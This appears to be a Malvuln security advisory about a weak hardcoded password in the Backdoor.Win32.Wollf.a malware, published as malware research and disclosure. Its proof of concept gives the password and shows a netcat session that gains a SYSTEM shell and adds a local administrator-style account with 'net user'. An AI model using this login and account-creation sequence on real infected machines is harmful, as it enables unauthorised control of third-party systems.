Monday, November 22, 2021

Backdoor.Win32.Wollf.a Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/52d1341f73c34ba2638581469120b68a.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 1698 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "23706373" is weak and hardcoded within the executable. The malware is packed with UPX and exposes the cleartext all numeric credentials when decompressed.
Type: PE32
MD5: 52d1341f73c34ba2638581469120b68a
Vuln ID: MVID-2021-0404
Dropped files: keygen.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 1698
Login: 23706373

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[[email protected]:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully


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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore